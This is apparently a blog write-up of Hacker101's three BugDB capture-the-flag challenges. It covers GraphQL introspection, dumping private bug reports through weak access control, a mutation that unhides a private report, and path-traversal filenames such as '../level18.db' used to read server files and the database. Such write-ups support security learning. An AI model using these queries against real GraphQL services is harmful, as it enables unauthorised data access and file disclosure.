Posts Hackerone BugDB challenge Writeup
Post
Cancel

Hackerone BugDB challenge Writeup

Peace be upon all of you, on this writeup I am going to cover the solutions of three challenges on Hacekrone related to GraphQL, they have three parts under the name BugDB v1/3.

Difficulty: Easy and moderate

Challenge Link: https://ctf.hacker101.com/ctf

BugDB v1

Enumeration

Once we will open the challenge we will found a graphql endpoint that has a graphiql interface that will ease the process of interacting with graphql.

Reading Docs

when you stumble upon any graphql endpoint you need first to understand what is the graph schema? and what is the types of data that stored here. opening the documentation we will find mostly what we need.

Introspection Query

Introspection is the ability to query which resources are available in the current API schema. Given the API, via introspection, we can see the queries, types, fields, and directives it supports.

but we have another good solution which is to run the introspection query to retrieve all the structure of the graphql. an example for this is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
 query IntrospectionQuery {
    __schema {
      queryType { name }
      mutationType { name }
      types {
        ...FullType
      }
      directives {
        name
        description
        locations
        args {
          ...InputValue
        }
      }
    }
  }
  fragment FullType on __Type {
    kind
    name
    description
    fields(includeDeprecated: true) {
      name
      description
      args {
        ...InputValue
      }
      type {
        ...TypeRef
      }
      isDeprecated
      deprecationReason
    }
    inputFields {
      ...InputValue
    }
    interfaces {
      ...TypeRef
    }
    enumValues(includeDeprecated: true) {
      name
      description
      isDeprecated
      deprecationReason
    }
    possibleTypes {
      ...TypeRef
    }
  }
  fragment InputValue on __InputValue {
    name
    description
    type { ...TypeRef }
    defaultValue
  }
  fragment TypeRef on __Type {
    kind
    name
    ofType {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
              ofType {
                kind
                name
                ofType {
                  kind
                  name
                }
              }
            }
          }
        }
      }
    }
  }

GraphQL Voyager

With graphql-voyager you can visually explore your GraphQL API as an interactive graph. This is a great tool when designing or discussing your data model. It includes multiple example GraphQL schemas and also allows you to connect it to your own GraphQL endpoint. What are you waiting for, explore your API!

As long as graphql is very complex structure language so we need so form of visualization to display to us all schema and the relations between them.This awesome tool will help us to do this job. Simply you can open it website:

https://apis.guru/graphql-voyager/

what you need to pass for this tool is the output of the Introspection query. so enter the query at the graphql endpoint and copy the output to the voyager at change schema -> Introspection.

I think it’s way more better than before. now we are ready to go through it.

Dumping data

As you can see in the previous image there are three columns (Bugs, Users, Bugs_) and 6 types of queries that we can deal with them (User, bug, findUser, findBug, allUsers, allBugs).

Getting Users

We can start by trying to get some users. to know how to write the right query and argument that we need to pass. To know that we can click on user at the voyager.

let’s craft our query. So there is a query called user that contains to columns (ID, username). so we can simply try the following query and see the output.

1
2
3
4
5
6
7
8
9
10
11
query {
	user {
		edges {
		  node {
		    id
        username
        id
		  }
		}
  }
}

Great now we know that there are two users admin and victim.

Getting Bug Reports

There also another interesting column that called Bugs.

We can see the fields that we can retrieve in the bug column. Also if we need to access the bug column as you can see in the image you have the allBugs and Bug query to access the Bugs Columns. Let’s craft our payload as we did before.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
query {
	allBugs {
  edges {
    node {
      id
      id
      private
      reporter {
        id
      }
      reporterId
      
    }
  }
  }
}

Great! Now, it seems that we have dumped all content expect for the text filed in *Bugs_ *column.

Flag

But How we can access the text filed?

As you can see that the text filed is accessible through Users columns which is accessible by the user query. So our payload should look something like that:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
query {
  user {
    edges {
      node {
        id
        username
        bugs{
          edges {
            node {
              text
            }
          }
        }
      }
    }
  }
}

and Volia! we have solved the first one.

BugDB v2

Now, let’s move on to the next part of this series. on the previous one we begin to get familiar with the syntax and quires of the graphQL. On this on we are going to be familiar with the Mutation query.

Enumeration

like the previous one we have to apply the introspection query to get familiar with the schema and the structure of the graphQL. and then pass it to the voyager tool.

Dumping data

let’s dump the users and the bugs columns.

So now we know that we have two users admin and victim and we have one report. but we didn’t get the flag like before when we dumped the database. hmm! but here we have Mutations but what is it?

Mutations

Mutation queries modify data in the data store and returns a value. It can be used to insert, update, or delete data. Mutations are defined as a part of the schema.

you can read more information about from here: https://www.tutorialspoint.com/graphql/graphql_mutation.htm

So with mutation we can edit, insert or delete data. let’s examine in the graphql what fields this query require.

We have here modifyBug query that can edit the bug details. but here there is a very interesting field which is private. this filed accept boolean value that will allow us to change the value of the report from private to public to be able to view. remember that we had 2 users and only one report so it is an indication that there is a hidden one. let’s craft our mutation query:

1
2
3
4
5
6
7
8
9
10
11
mutation{
  modifyBug(private:false, id:2){
    ok
    bug {
      id
      text
      reporterId
      private
    }
  }
}

Flag

This query will change the visibility of the second payload from private to public. let’s try to dump the bug columns again.

and the flag is here!

BugDB v3

Moving to the last one which seem to be a bit difficult than the others. let’s begin:

Enumeration

Let’s collect all the needed information as we did before:

Dumping Data

It seems that there is a new columns here called *attachments *let’s dump all:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
query {
  allUsers {
    edges{
      node{
        username
        id
      }
    }
    edges {
      node {
        id
        bugs{
          edges{
            node{
              attachments{
                edges{
                  node{
                    filename
                    id
                    bugId
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}

Mutations

We have here attachFile** *and **modifyAttachment *query that can upload the some attachments. let’s test it by adding some stuff:

1
2
3
4
5
 mutation{
  attachFile(bugId: 2, contents: "ItsFadinG") {
    ok
  }
}

If we look again at the attachments file we will find that a new file has been added.

So we need to access this file but there is now intended function to be able to view this. we can take a look at some hints form Hackerone website it says:

  1. What new functionality was added?

  2. Filenames are always interesting.

  3. How do you access attachments? Hint: not via GraphQL.

So, I think we can’t access the attachment through GraphQL. so we can try to access it through the browser. I did some directory brute force and I found that there is a directory called Attachment/1.

Great we can now access our uploaded file. the problem here that we didn’t find the flag yet what else we need to do to find it?

Directory Traversal

I struggled a lot at this point I couldn’t find any way to find the flag. I though about getting a hint and this video helped me a lot:

Here Nahamsec struggles also at this point and he contacted someone at Hackerone discord server and he told him:

  • you can rename the attachments in way that match the name of a file that that exits in the app.

  • if you know daeken’s CTF, he likes building python flask apps.

This seems interesting! here we may have directory traversal vulnerability. there is a common file in FLASK called main.py let’s try to access it.

1
2
3
4
5
mutation{
  modifyAttachment(id:1, filename:"../main.py"){
    ok
  } 
}

we will use the mutation modifyAttachment to edit the name of our file. and BOOM it works!

still we didn’t find the flag but let’s try to access another file.

1
2
3
4
5
mutation{
  modifyAttachment(id:1, filename:"../model.py"){
    ok
  }  
}

Flag

Here is another interesting file here called level18.db which seems to be the database.

1
2
3
4
5
mutation{
  modifyAttachment(id:1, filename:"../level18.db"){
    ok
  }  
}

Bingo! The Flag is here! Thanks For reading I hope you enjoyed it.

This post is licensed under CC BY 4.0 by the author.